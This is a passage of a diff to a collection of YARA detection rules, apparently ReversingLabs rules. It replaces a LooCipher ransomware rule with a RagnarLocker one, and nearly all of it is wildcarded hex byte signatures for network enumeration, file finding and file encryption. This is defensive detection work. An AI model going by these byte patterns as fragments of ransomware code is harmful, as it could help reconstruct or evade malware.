-            58 76 ?? EB ?? 5A 58 7E ?? 8B 06 E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ??
-            ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03 C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D
-            ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ??
-            8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A
-            ?? 8B 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ??
-            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ??
-            ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50
-            8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 76 ?? EB ?? 5A 58 7E ?? 8B 06
-            E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03
-            C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D
-            ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8
+		$enum_network_resources = {
+            55 8B EC 8B 4D ?? 83 EC ?? 8D 45 ?? 50 51 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ??
+            FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 57 90 8B 4D ?? 8D
+            55 ?? 52 56 8D 45 ?? 50 51 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
+            ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 8D 64 24 ?? F6 46 ?? ?? 74 ?? F6 46 ?? ?? 74 ??
+            8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 94 00 ?? ?? ?? ?? 52
+            6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 85 C0 74 ??
+            8B 16 0F B7 0A 66 89 08 83 C2 ?? 83 C0 ?? 66 85 C9 75 ?? FF 05 ?? ?? ?? ?? 8B 56 ??
+            83 E2 ?? 80 FA ?? 75 ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 C6 ?? 3B 7D ?? 72
+            ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 5F 8B 4D ?? 51 FF 15
+            ?? ?? ?? ?? 5E 5B 8B E5 5D C3
         }
-		$encrypt_files = {
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
-            E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75
-            ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68
-            ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ??
-            8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
-            75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55
-            ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
-            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D
-            ?? ?? 74
+		$encrypt_files_p1 = {
+            55 8B EC 83 EC ?? 53 56 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ??
+            ?? 8B F4 85 F6 0F 84 ?? ?? ?? ?? 8B D6 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 81
+            EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 8B CE 8B FE 81 EA ?? ?? ?? ?? 33 C0 81 E9 ??
+            ?? ?? ?? 81 EF ?? ?? ?? ?? 83 C2 ?? C6 46 ?? ?? 89 55 ?? 8B 5D ?? 8A D0 80 E2 ?? 02
+            90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 01 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ??
+            ?? ?? 32 90 ?? ?? ?? ?? 88 94 07 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32
+            90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32
+            90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32
+            90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 83 C0 ?? 32
+            90 ?? ?? ?? ?? 88 54 06 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 4D ?? 50 51
+            FF 15 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? C7 45
+            ?? ?? ?? ?? ?? FF D6 85 C0 75 ?? 8B 3D ?? ?? ?? ?? 8D 49 ?? 68 ?? ?? ?? ?? FF D7 8D
+            45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 85 C0 74 ?? 50 FF 15 ?? ?? ??
+            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B FC 85 FF 0F 84 ?? ?? ?? ?? 8B D7 81 EA ?? ?? ??
+            ?? 83 C2 ?? 89 55 ?? 8B D7 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D7 8B CF 8B F7 81
+        }
+		$encrypt_files_p2 = {
+            EA ?? ?? ?? ?? 33 C0 81 E9 ?? ?? ?? ?? 81 EE ?? ?? ?? ?? 83 C2 ?? C6 47 ?? ?? 89 55
+            ?? 8B 5D ?? 8A D0 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 08 ?? ?? ?? ??
+            8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 30 ?? ?? ?? ?? 8D 50 ??
+            80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ??
+            80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ??
+            80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8D 50 ?? 80 E2 ??
+            02 90 ?? ?? ?? ?? 83 C0 ?? 32 90 ?? ?? ?? ?? 88 54 07 ?? 83 F8 ?? 0F 8C ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B 4D ??
+            B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0 ?? 2B
+            C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B CA C1
+            E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 DB 0F 84 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B
+            4D ?? B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0
+            ?? 2B C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B
+            CA C1 E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 65 ?? 5F 5E 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_resources) and ( all of ($find_files_p*)) and ($encrypt_files) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ($enum_network_resources) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Loocipher : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ragnarlocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects LooCipher ransomware."
+		description = "Yara rule that detects RagnarLocker ransomware."
 		author = "ReversingLabs"
-		id = "b5aa2bd0-72b0-5013-a60e-9b4f1ee1de1f"
+		id = "3bc3765a-f1f8-59bc-bbe8-6821654b334f"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.LooCipher.yara#L1-L87"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "aa0598d63b5fad6aea0945a0aa2030d3d6e2cd9f1fea16f3dd17cdceb68323e3"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.RagnarLocker.yara#L1-L108"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "398f0e5e003f87edf90cdea718be6b10470df317214d00db4dc6c4cccc5b6748"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42989,82 +43089,101 @@ rule REVERSINGLABS_Win32_Ransomware_Loocipher : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "LooCipher"
+		tc_detection_name = "RagnarLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection = {
-            6A ?? 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 B9 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
-            50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 68 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50
-            8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8
+		$find_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 33 C0 B9 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B 75 ?? 57
+            8D BD ?? ?? ?? ?? F3 AB 8B 3D ?? ?? ?? ?? 39 45 ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D
+            85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75
+            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3
         }
-		$encrypt_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? 53 56 57 8D BD
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 AB A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D
-            45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B7 4D ?? 3B C1 74
-            ?? E8 ?? ?? ?? ?? 8B F0 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 E9 ?? 8B C6 33 D2 F7 F1 89
-            55 ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 4D ?? E8
-            ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8B 4D ??
-            E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C9 ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 52 8B CD 50 8D 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 5A 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ??
-            33 CD E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 3B EC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$find_files_p2 = {
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? FF 74 B5 ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ??
+            ?? 46 83 FE ?? 7C ?? 33 C0 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50
+            68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
+            FF D6 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
+            ?? ?? 8B 45 ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            56 FF D3
         }
-		$find_files = {
-            52 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? B9
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 85 C0 0F 84 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B F4 89
-            A5 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 50 ?? 52 8B 00 50 8B CE E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 45 ?? ?? B9
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 C6 45 ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
-            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? EB ?? 83 EC ?? 8B CC
-            89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52
-            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D
-            ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
+		$find_files_p3 = {
+            33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 FF 74 B5 ??
+            53 FF D7 85 C0 74 ?? 46 83 FE ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            8B 45 ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? E9
+            ?? ?? ?? ?? 5F 5E 32 C0 5B 8B E5 5D C3 FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E B0 ?? 5B 8B
+            E5 5D C3
+        }
+		$encrypt_files_p1 = {
+            56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            83 C4 ?? 68 ?? ?? ?? ?? 50 FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 56 8B 35 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 68 ?? ?? ?? ?? FF D6 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ??
+            ?? ?? 8B F8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
+        }
+		$encrypt_files_p2 = {
+            8D 45 ?? 50 57 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ??
+            57 50 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 8B 35 ?? ?? ??
+            ?? 8D 4D ?? 6A ?? 51 FF 75 ?? FF 75 ?? 50 FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83
+            C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 50 8D 85 ?? ?? ?? ??
+            50 FF 75 ?? FF D6 8B 45 ?? 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? FF D0 FF 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ??
+            ?? ?? 89 45 ?? 8D 57 ?? 8B CF D3 E8 A8 ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C7 45 ?? ?? ??
+            ?? ?? 66 89 45 ?? 33 F6 33 C0 50 50 50 50 50 68 ?? ?? ?? ?? 50 66 89 45 ?? 8D 45 ??
+            50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ??
+            ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? 75 ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? B8 ?? ??
+            ?? ?? 0F 44 F0 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ??
+            ?? ?? ?? 83 EF ?? 8B 45 ?? 0F 89 ?? ?? ?? ?? 0F 57 C0 C7 85
+        }
+		$encrypt_files_p3 = {
